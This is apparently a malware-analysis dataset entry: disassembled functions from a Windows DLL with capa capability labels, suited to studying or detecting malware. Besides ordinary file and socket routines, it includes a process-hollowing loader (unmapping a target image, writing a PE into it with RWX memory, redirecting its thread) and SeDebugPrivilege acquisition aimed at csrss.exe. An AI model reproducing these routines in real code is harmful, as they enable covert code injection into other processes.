joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180003540
Capabilities:
Resolve dns

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rdi, qword [rsp + 0x68]
mov r12, qword [rsp + 0x60]
movzx ebp, r9w
mov qword [rdi], 0
mov r14d, r8d
mov r15d, edx
mov byte [r12], 0
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rsi, rax
test rax, rax
je 0x180003618
cmp word [rax + 0x10], 2
mov qword [rsp + 0x40], rbx
jne 0x1800035db
cmp word [rax + 0x12], 4
jne 0x1800035db
mov rbx, qword [rax + 0x18]
mov rcx, qword [rbx]
test rcx, rcx
je 0x1800035db
nop word [rax + rax]
mov r9d, dword [rcx]
movzx r8d, bp
mov edx, r14d
mov ecx, r15d
call fcn.1800034a0
mov qword [rdi], rax
test rax, rax
je 0x180003611
mov rcx, qword [rbx + 8]
add rbx, 8
lea rdi, [rax + 0x28]
test rcx, rcx
jne 0x1800035b0
mov r8, qword [rsi]
mov r9d, 0x400
mov rcx, r12
lea edx, [r9 + 1]
call fcn.18002a1f4
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
mov eax, 8
jmp 0x1800035f2
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
sub eax, 0x2af9
je 0x18000362f
dec eax
je 0x18000363d
dec eax
je 0x180003636
dec eax
mov eax, 0x2af9
jmp 0x1800035f7
mov eax, 0x2afb
jmp 0x1800035f7
mov eax, 0x2afa
jmp 0x1800035f7
Function at 0x180004b50
Capabilities:
Set current directory

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rax, qword [0x180058460]
xor ebx, ebx
call qword [rax + 0x2d8]
mov rdi, rax
test rax, rax
je 0x180004b7e
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
test eax, eax
jne 0x180004b86
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, rdi
call fcn.180029778
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x180004c00
Capabilities:
Check if file exists
Delete file
Get file attributes
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rax, qword [0x180058460]
xor edi, edi
call qword [rax + 0x2d8]
mov rbx, rax
test rax, rax
je 0x180004c4e
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180004c41
test al, 1
je 0x180004c41
and eax, 0xfffffffe
mov rcx, rbx
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x180004c56
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov rcx, rbx
call fcn.180029778
mov rbx, qword [rsp + 0x30]
mov eax, edi
add rsp, 0x20
pop rdi
ret

Function at 0x180004c80
Capabilities:
Query environment variable

Disassembly:
push rbx
mov eax, 0x10020
call fcn.18002b360
sub rsp, rax
mov rax, qword [0x180058460]
call qword [rax + 0x2d8]
mov rbx, rax
test rax, rax
je 0x180004cc4
lea rdx, [rsp + 0x20]
mov r8d, 0x8000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov rcx, rbx
test eax, eax
jne 0x180004ccf
call fcn.180029778
xor eax, eax
add rsp, 0x10020
pop rbx
ret
call fcn.180029778
mov rax, qword [0x180058460]
lea rcx, [rsp + 0x20]
call qword [rax + 0x2e0]
add rsp, 0x10020
pop rbx
ret
Function at 0x180004e10
Capabilities:
Enumerate files on windows

Disassembly:
mov qword [rsp + 0x10], rdx
push rbx
push rsi
push rdi
push r13
push r14
mov eax, 0x10290
call fcn.18002b360
sub rsp, rax
mov r13, r8
mov rbx, rcx
mov r9, rcx
lea r8, [0x180040c44]
lea rcx, [rsp + 0x280]
xor esi, esi
mov edx, 0x8000
mov edi, esi
call fcn.18002b3b0
lea edx, [rsi + 0x2a]
mov rcx, rbx
call fcn.18002b5c0
test rax, rax
jne 0x180004e9d
lea r8, str._s
lea rcx, [rsp + 0x280]
mov r9, rbx
mov edx, 0x8000
call fcn.18002b3b0
mov rcx, rbx
call fcn.18002b550
mov rdi, rax
test rax, rax
jne 0x180004ec9
mov r14, qword [rsp + 0x102d8]
mov esi, 8
jmp 0x18000502f
mov edx, 0x5c
mov rcx, rbx
call fcn.18002b5c0
mov r14, rax
test rax, rax
je 0x180004ec9
mov rcx, rbx
mov byte [rax], sil
call fcn.18002b550
mov rdi, rax
test rax, rax
je 0x180004e8b
mov byte [r14], 0x5c
lea rcx, [rsp + 0x280]
mov qword [rsp + 0x10288], r12
call fcn.180004c80
mov r12, rax
test rax, rax
jne 0x180004ef6
mov r14, qword [rsp + 0x102d8]
lea esi, [rax + 8]
jmp 0x180005027
mov rcx, rax
mov rax, qword [0x180058460]
call qword [rax + 0x2d8]
mov r14, rax
test rax, rax
jne 0x180004f1b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x180005027
lea rdx, [rsp + 0x30]
mov rcx, rax
mov qword [rsp + 0x102c0], rbp
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbp, rax
test rax, rax
jne 0x180004f46
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x18000501f
mov qword [rsp + 0x10280], r15
nop
cmp rbp, 0xffffffffffffffff
je 0x180004ffe
mov rax, qword [0x180058460]
lea rcx, [rsp + 0x5c]
call qword [rax + 0x2e0]
mov rdx, qword [0x180058460]
lea rcx, [rsp + 0x264]
mov rbx, rax
call qword [rdx + 0x2e0]
mov edx, 0x8000
lea rcx, [rsp + 0x8280]
mov r15, rax
test rdi, rdi
je 0x180004faf
lea r8, str._s_s
mov r9, rdi
mov qword [rsp + 0x20], rbx
call fcn.18002b3b0
jmp 0x180004fbe
lea r8, [0x180040c44]
mov r9, rbx
call fcn.18002b3b0
lea r9, [rsp + 0x8280]
mov r8, r15
mov rdx, rbx
mov rcx, r13
call qword [rsp + 0x102c8]
mov rcx, rbx
call fcn.180029778
mov rcx, r15
call fcn.180029778
lea rdx, [rsp + 0x30]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x180004f50
jmp 0x180005006
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, r12
call fcn.180029778
mov r15, qword [rsp + 0x10280]
mov rbp, qword [rsp + 0x102c0]
mov r12, qword [rsp + 0x10288]
mov rcx, rdi
call fcn.180029778
mov rcx, r14
call fcn.180029778
mov eax, esi
add rsp, 0x10290
pop r14
pop r13
pop rdi
pop rsi
pop rbx
ret

Function at 0x180005060
Capabilities:
Get common file path

Disassembly:
push rbx
mov eax, 0x10020
call fcn.18002b360
sub rsp, rax
mov rbx, rcx
lea rdx, [rsp + 0x20]
mov ecx, 0x8000
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
test eax, eax
jne 0x180005095
call qword [sym.imp.KERNEL32.dll_GetLastError]
add rsp, 0x10020
pop rbx
ret
mov rax, qword [0x180058460]
lea rcx, [rsp + 0x20]
call qword [rax + 0x2e0]
mov qword [rbx], rax
test rax, rax
je 0x180005086
xor eax, eax
add rsp, 0x10020
pop rbx
ret
Function at 0x1800050c0
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rax, qword [0x180058460]
xor ebx, ebx
call qword [rax + 0x2d8]
mov rdi, rax
test rax, rax
je 0x1800050f0
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1800050f8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, rdi
call fcn.180029778
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x180005120
Capabilities:
Move file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rax, qword [0x180058460]
mov rbx, rdx
xor edi, edi
call qword [rax + 0x2d8]
mov rcx, rbx
mov rsi, rax
mov rax, qword [0x180058460]
call qword [rax + 0x2d8]
mov rbx, rax
test rsi, rsi
je 0x180005171
test rax, rax
je 0x180005171
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x180005179
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov rcx, rsi
call fcn.180029778
mov rcx, rbx
call fcn.180029778
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov eax, edi
add rsp, 0x20
pop rdi
ret

Function at 0x1800051b0
Capabilities:
Copy file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rax, qword [0x180058460]
mov rbx, rdx
xor edi, edi
call qword [rax + 0x2d8]
mov rcx, rbx
mov rsi, rax
mov rax, qword [0x180058460]
call qword [rax + 0x2d8]
mov rbx, rax
test rsi, rsi
je 0x180005204
test rax, rax
je 0x180005204
xor r8d, r8d
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x18000520c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov rcx, rsi
call fcn.180029778
mov rcx, rbx
call fcn.180029778
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov eax, edi
add rsp, 0x20
pop rdi
ret
Function at 0x180006b50
Capabilities:
Check if file exists
Enumerate files on windows

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
mov eax, 0x10280
call fcn.18002b360
sub rsp, rax
mov rax, qword [rdx]
mov r14, r8
mov rbp, rcx
mov r9, rcx
mov rdi, rdx
lea r8, [0x180040c38]
lea rcx, [rsp + 0x280]
mov edx, 0x8000
mov qword [rsp + 0x20], rax
call fcn.18002b928
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x180006c88
mov qword [rsp + 0x10290], rbx
movzx edx, word [rsp + 0x5c]
movzx ecx, word [rsp + 0x5e]
cmp dx, word [0x180040c30]
jne 0x180006bdf
cmp cx, word [0x180040c32]
je 0x180006c45
cmp dx, word [0x180040bf8]
jne 0x180006bff
cmp cx, word [0x180040bfa]
jne 0x180006bff
movzx eax, word [rsp + 0x60]
cmp ax, word [0x180040bfc]
je 0x180006c45
test byte [rsp + 0x30], 0x10
jne 0x180006c45
mov rbx, qword [rsp + 0x44]
mov rcx, rbx
call fcn.180005b60
mov ecx, dword [rdi + 0x14]
cmp ecx, 0xffffffff
je 0x180006c1f
cmp ecx, eax
ja 0x180006c45
mov ecx, dword [rdi + 0x18]
cmp ecx, 0xffffffff
je 0x180006c2b
cmp ecx, eax
jb 0x180006c45
mov r9d, dword [rsp + 0x50]
lea r8, [rsp + 0x5c]
mov rdx, rbp
mov rcx, r14
mov qword [rsp + 0x20], rbx
call fcn.180005ba0
lea rdx, [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x180006bc3
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rbx, qword [rsp + 0x10290]
xor eax, eax
lea r11, [rsp + 0x10280]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x180006c6c
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x180006c6e
Function at 0x180006cb0
Capabilities:
Check if file exists
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
push rbp
push rsi
push rdi
sub rsp, 0x2a0
xor esi, esi
mov rbx, rcx
mov rbp, rdx
lea rcx, [rsp + 0x54]
xor edx, edx
mov r8d, 0x24c
mov dword [rsp + 0x30], esi
mov edi, esi
mov dword [rsp + 0x34], esi
mov dword [rsp + 0x50], esi
call fcn.180029ee0
or rcx, 0xffffffffffffffff
inc rcx
cmp word [rbx + rcx*2], si
jne 0x180006cf5
add rcx, 5
cmp dword [rsp + 0x2d8], 0x20
jg 0x180006ee6
cmp rcx, 0x8000
jae 0x180006ee6
mov edx, 2
call fcn.180029734
mov qword [rsp + 0x40], rax
test rax, rax
je 0x180006ee6
lea r8, str._s.
mov r9, rbx
mov edx, 0x8000
mov rcx, rax
call fcn.18002b928
mov rcx, qword [rsp + 0x40]
lea rdx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rsp + 0x38], rax
cmp rax, 0xffffffffffffffff
je 0x180006ec5
nop dword [rax + rax]
test byte [rsp + 0x50], 0x10
je 0x180006e64
cmp dword [rbp + 0x10], 0
je 0x180006e94
movzx ecx, word [rsp + 0x7c]
movzx eax, word [rsp + 0x7e]
cmp cx, word [0x180040c30]
jne 0x180006da5
cmp ax, word [0x180040c32]
je 0x180006e94
cmp cx, word [0x180040bf8]
jne 0x180006dcc
cmp ax, word [0x180040bfa]
jne 0x180006dcc
movzx eax, word [rsp + 0x80]
cmp ax, word [0x180040bfc]
je 0x180006e94
or rax, 0xffffffffffffffff
cmp word [rbx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x180006dd0
lea rdx, [rsp + 0x7c]
or rcx, 0xffffffffffffffff
nop word [rax + rax]
cmp word [rdx + rcx*2 + 2], 0
lea rcx, [rcx + 1]
jne 0x180006df0
lea rsi, [rax + rcx]
mov edx, 2
lea rcx, [rsi + 0x20]
call fcn.180029734
mov rdi, rax
test rax, rax
je 0x180006e8c
lea rax, [rsp + 0x7c]
lea r8, [0x180040c38]
lea rdx, [rsi + 0x20]
mov r9, rbx
mov rcx, rdi
mov qword [rsp + 0x20], rax
call fcn.18002b928
mov r9d, dword [rsp + 0x2d8]
mov r8, qword [rsp + 0x2d0]
inc r9d
mov rdx, rbp
mov rcx, rdi
call fcn.180006cb0
mov rcx, rdi
mov esi, eax
mov dword [rsp + 0x30], eax
call fcn.180029778
jmp 0x180006e90
test edi, edi
jne 0x180006e94
mov r8, qword [rsp + 0x2d0]
mov rdx, rbp
mov rcx, rbx
call fcn.180006b50
mov edi, 1
mov esi, eax
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x34], edi
jmp 0x180006e94
mov esi, dword [rsp + 0x30]
mov edi, dword [rsp + 0x34]
mov rcx, qword [rsp + 0x38]
lea rdx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x180006d70
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rsp + 0x40]
call fcn.180029778
mov eax, esi
jmp 0x180006ee8
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x180006ed8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov rcx, qword [rsp + 0x40]
call fcn.180029778
mov eax, esi
jmp 0x180006ee8
xor eax, eax
mov rbx, qword [rsp + 0x2c0]
add rsp, 0x2a0
pop rdi
pop rsi
pop rbp
ret
Function at 0x180006fe0
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x20
mov r14, r8
mov rdi, rdx
mov r15, rcx
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov esi, dword [rsp + 0x58]
mov ebx, 0x61
mov ebp, eax
xor r12d, r12d
nop dword [rax]
nop word [rax + rax]
movzx r9d, bx
lea ecx, [r9 - 0x61]
movzx edx, cl
bt ebp, edx
jae 0x18000707e
xor eax, eax
lea r8, [0x180041008]
lea rcx, [rsp + 0x58]
lea edx, [rax + 3]
mov word [rsp + 0x58], r12w
mov dword [rsp + 0x5a], eax
call fcn.18002b928
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
add eax, 0xfffffffd
cmp eax, 1
ja 0x18000707e
lea rax, [rsp + 0x58]
mov r9, r14
mov r8, rdi
xor edx, edx
mov rcx, r15
mov qword [rdi + 8], rax
call fcn.180006f10
mov esi, eax
inc bx
cmp bx, 0x7a
jbe 0x180007020
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x60]
mov qword [rdi + 8], r12
mov eax, esi
add rsp, 0x20
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret

Function at 0x180007150
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov r11, rsp
push rdi
sub rsp, 0xa0
mov rcx, qword [rcx + 0x18]
mov rdi, rdx
xor eax, eax
lea rdx, [rsp + 0x20]
lea r8, [r11 + 0x18]
mov dword [r11 + 0x18], 0x80
mov word [r11 + 8], ax
call qword [sym.imp.WS2_32.dll_getsockname]
cmp eax, 0xffffffff
jne 0x180007193
mov eax, 0x507
add rsp, 0xa0
pop rdi
ret
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x20]
mov qword [rsp + 0xb8], rbx
call fcn.180007220
mov rbx, rax
test rax, rax
jne 0x1800071c9
lea eax, [rbx + 0xe]
mov rbx, qword [rsp + 0xb8]
add rsp, 0xa0
pop rdi
ret
mov r8, rax
mov rax, qword [0x180058460]
mov edx, 0x105de
mov rcx, rdi
call qword [rax + 0x50]
mov rax, qword [0x180058460]
movzx r8d, word [rsp + 0xb0]
mov edx, 0x205df
mov rcx, rdi
call qword [rax + 0x58]
mov rcx, rbx
call fcn.180029778
mov rbx, qword [rsp + 0xb8]
xor eax, eax
add rsp, 0xa0
pop rdi
ret
Function at 0x180008170
Capabilities:
Connect socket
Resolve dns

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
mov qword [rsp + 8], rcx
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x60
xor eax, eax
mov r15, r9
movzx r13d, r8w
mov r12, rdx
mov edi, eax
mov ebx, eax
mov ebp, eax
test r9, r9
je 0x1800081ab
mov qword [r9], rax
mov r14, qword [rsp + 0xb0]
test r14, r14
je 0x1800081bb
mov qword [r14], rax
xor r9d, r9d
mov dword [rsp + 0x28], eax
xor r8d, r8d
lea edx, [r9 + 1]
mov dword [rsp + 0x20], eax
lea ecx, [rdx + 1]
call qword [sym.imp.WS2_32.dll_WSASocketA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1800081e9
xor esi, esi
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x18000825f
mov eax, 2
movzx ecx, r13w
mov word [rsp + 0x30], ax
call qword [sym.imp.WS2_32.dll_htons]
mov rcx, r12
mov word [rsp + 0x32], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rsp + 0x34], eax
cmp eax, 0xffffffff
jne 0x180008240
mov rcx, r12
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
jne 0x18000822a
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x18000825f
mov rdx, qword [rax + 0x18]
movsx r8, word [rax + 0x12]
lea rcx, [rsp + 0x34]
mov rdx, qword [rdx]
call fcn.180029960
lea rdx, [rsp + 0x30]
mov r8d, reloc.WS2_32.dll_recv
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x18000826e
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
test eax, eax
je 0x18000835b
jmp 0x180008300
mov ecx, 0x28
call fcn.1800297b8
mov rdi, rax
test rax, rax
jne 0x180008285
lea ebx, [rax + 8]
jmp 0x180008300
xor eax, eax
lea r8, [rsp + 0x40]
xor edx, edx
mov qword [rdi + 8], rax
mov qword [rdi + 0x10], rax
mov qword [rdi + 0x20], rax
mov rax, qword [rsp + 0x90]
mov qword [rdi + 0x18], rsi
xor ecx, ecx
mov qword [rdi], rax
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
lea rax, [0x180008430]
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rax
lea rax, [0x180008540]
mov qword [rsp + 0x50], rax
mov rax, qword [0x180058460]
call qword [rax + 0x1f8]
mov rbp, rax
test rax, rax
jne 0x180008312
mov rcx, rdi
lea ebx, [rax + 8]
call fcn.1800083a0
xor edi, edi
test rsi, rsi
je 0x18000830e
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
xor ebp, ebp
jmp 0x18000835b
mov qword [rdi + 8], rax
call qword [sym.imp.WS2_32.dll_WSACreateEvent]
mov qword [rdi + 0x10], rax
test rax, rax
je 0x18000835b
mov rcx, qword [rdi + 0x18]
mov r8d, 0x21
mov rdx, rax
call qword [sym.imp.WS2_32.dll_WSAEventSelect]
mov rax, qword [0x180058460]
mov rcx, qword [rdi + 0x10]
lea r9, [0x180008580]
xor r8d, r8d
mov rdx, rdi
mov qword [rsp + 0x20], rbx
call qword [rax + 0x2c0]
test r15, r15
je 0x180008363
mov qword [r15], rbp
mov eax, ebx
test r14, r14
je 0x18000836d
mov qword [r14], rdi
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x180009a90
Capabilities:
Acquire debug privileges

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x10], rdx
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x290
mov ebp, ecx
mov r13, r8
mov rbx, rdx
xor r14d, r14d
lea rcx, [rsp + 0x54]
mov esi, 1
xor edx, edx
mov r8d, 0x234
mov r12, r9
mov edi, 6
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x50], r14d
call fcn.180029ee0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x38]
lea edx, [rdi + 0x22]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x180009b60
xor eax, eax
lea r8, [rsp + 0x44]
lea rdx, str.SeDebugPrivilege
mov dword [rsp + 0x4c], eax
xor ecx, ecx
mov dword [rsp + 0x40], esi
mov dword [rsp + 0x4c], 2
mov qword [rsp + 0x44], rax
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x180009b55
mov rcx, qword [rsp + 0x38]
lea r8, [rsp + 0x40]
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r15, rax
test rax, rax
je 0x180009c83
lea rdx, [0x180040ab8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.Process32FirstW
mov rcx, r15
mov qword [rsp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.Process32NextW
mov rcx, r15
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
mov rax, qword [rsp + 0x40]
test rax, rax
je 0x180009c6f
test r14, r14
je 0x180009c6f
test rsi, rsi
je 0x180009c6f
xor edx, edx
lea ecx, [rdx + 2]
call rax
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180009c59
lea rdx, [rsp + 0x50]
mov rcx, rax
mov dword [rsp + 0x50], 0x238
call r14
test eax, eax
je 0x180009c59
mov r14, qword [rsp + 0x2c8]
mov dword [rsp + 0x30], 0
nop dword [rax + rax]
mov ecx, dword [rsp + 0x58]
call fcn.180009960
cmp ebp, eax
jne 0x180009c4b
lea rdx, str.csrss.exe
lea rcx, [rsp + 0x7c]
call fcn.18002bc98
test rax, rax
jne 0x180009c4b
mov ecx, dword [rsp + 0x58]
mov r9, r12
mov r8, r13
mov rdx, r14
call fcn.18000c990
mov edi, eax
test eax, eax
je 0x180009c59
lea rdx, [rsp + 0x50]
mov rcx, rbx
call rsi
test eax, eax
jne 0x180009c10
test rbx, rbx
je 0x180009c67
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x2c8]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [rsp + 0x30], 0
jne 0x180009c83
mov eax, edi
jmp 0x180009c93
mov r9, r12
mov r8, r13
mov rdx, rbx
mov ecx, ebp
call fcn.180009cc0
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x18000a670
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header
Resume thread
Terminate process

Disassembly:
push rbx
push rbp
push r12
push r14
sub rsp, 0x58
mov eax, 0x5a4d
xor ebx, ebx
mov r14, r8
mov r12, rdx
mov rbp, rcx
cmp word [r8], ax
jne 0x18000a86f
mov eax, dword [r8 + 0x3c]
mov qword [rsp + 0x80], rsi
add eax, r8d
mov esi, eax
cmp dword [rax], 0x4550
jne 0x18000a86b
lea edx, [rbx + 0xc]
lea r9d, [rbx + 4]
xor ecx, ecx
mov r8d, 0x1000
mov qword [rsp + 0x48], r13
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea edx, [rbx + 4]
mov ecx, eax
call fcn.18000a890
mov rcx, r12
mov rdx, rax
mov r13, rax
mov dword [rax + 0x30], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x18000a867
mov rdx, qword [r13 + 0x88]
lea rax, [rsp + 0x30]
lea r9d, [rbx + 8]
lea r8, [rsp + 0x98]
mov rcx, rbp
add rdx, 0x10
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtUnmapViewOfSection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000a752
mov rdx, qword [rsp + 0x98]
mov rcx, rbp
call rax
mov r8d, dword [rsi + 0x50]
mov rdx, qword [rsi + 0x30]
mov r9d, 0x3000
mov rcx, rbp
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, rbp
mov r15, rax
test rax, rax
je 0x18000a85b
mov r9d, dword [rsi + 0x54]
lea rax, [rsp + 0x90]
mov r8, r14
mov rdx, r15
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx ecx, word [rsi + 0x14]
cmp bx, word [rsi + 6]
jae 0x18000a7ec
mov qword [rsp + 0x50], rdi
lea rdi, [rsi + 0x2c]
add rdi, rcx
mov r8d, dword [rdi]
mov edx, dword [rdi - 8]
mov r9d, dword [rdi - 4]
lea rax, [rsp + 0x90]
add r8, r14
add rdx, r15
mov rcx, rbp
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rsi + 6]
inc ebx
lea rdi, [rdi + 0x28]
cmp ebx, eax
jl 0x18000a7b3
mov rdi, qword [rsp + 0x50]
mov rdx, qword [r13 + 0x88]
lea rax, [rsp + 0x90]
lea r8, [rsi + 0x30]
mov r9d, 8
mov rcx, rbp
add rdx, 0x10
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [rsi + 0x28]
add rax, r15
mov rdx, r13
mov rcx, r12
mov qword [r13 + 0x80], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
mov r15, qword [rsp + 0x40]
mov r13, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x80]
add rsp, 0x58
pop r14
pop r12
pop rbp
pop rbx
ret
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, ebx
jmp 0x18000a83e
mov eax, ebx
jmp 0x18000a843
mov eax, ebx
jmp 0x18000a848
mov eax, ebx
add rsp, 0x58
pop r14
pop r12
pop rbp
pop rbx
ret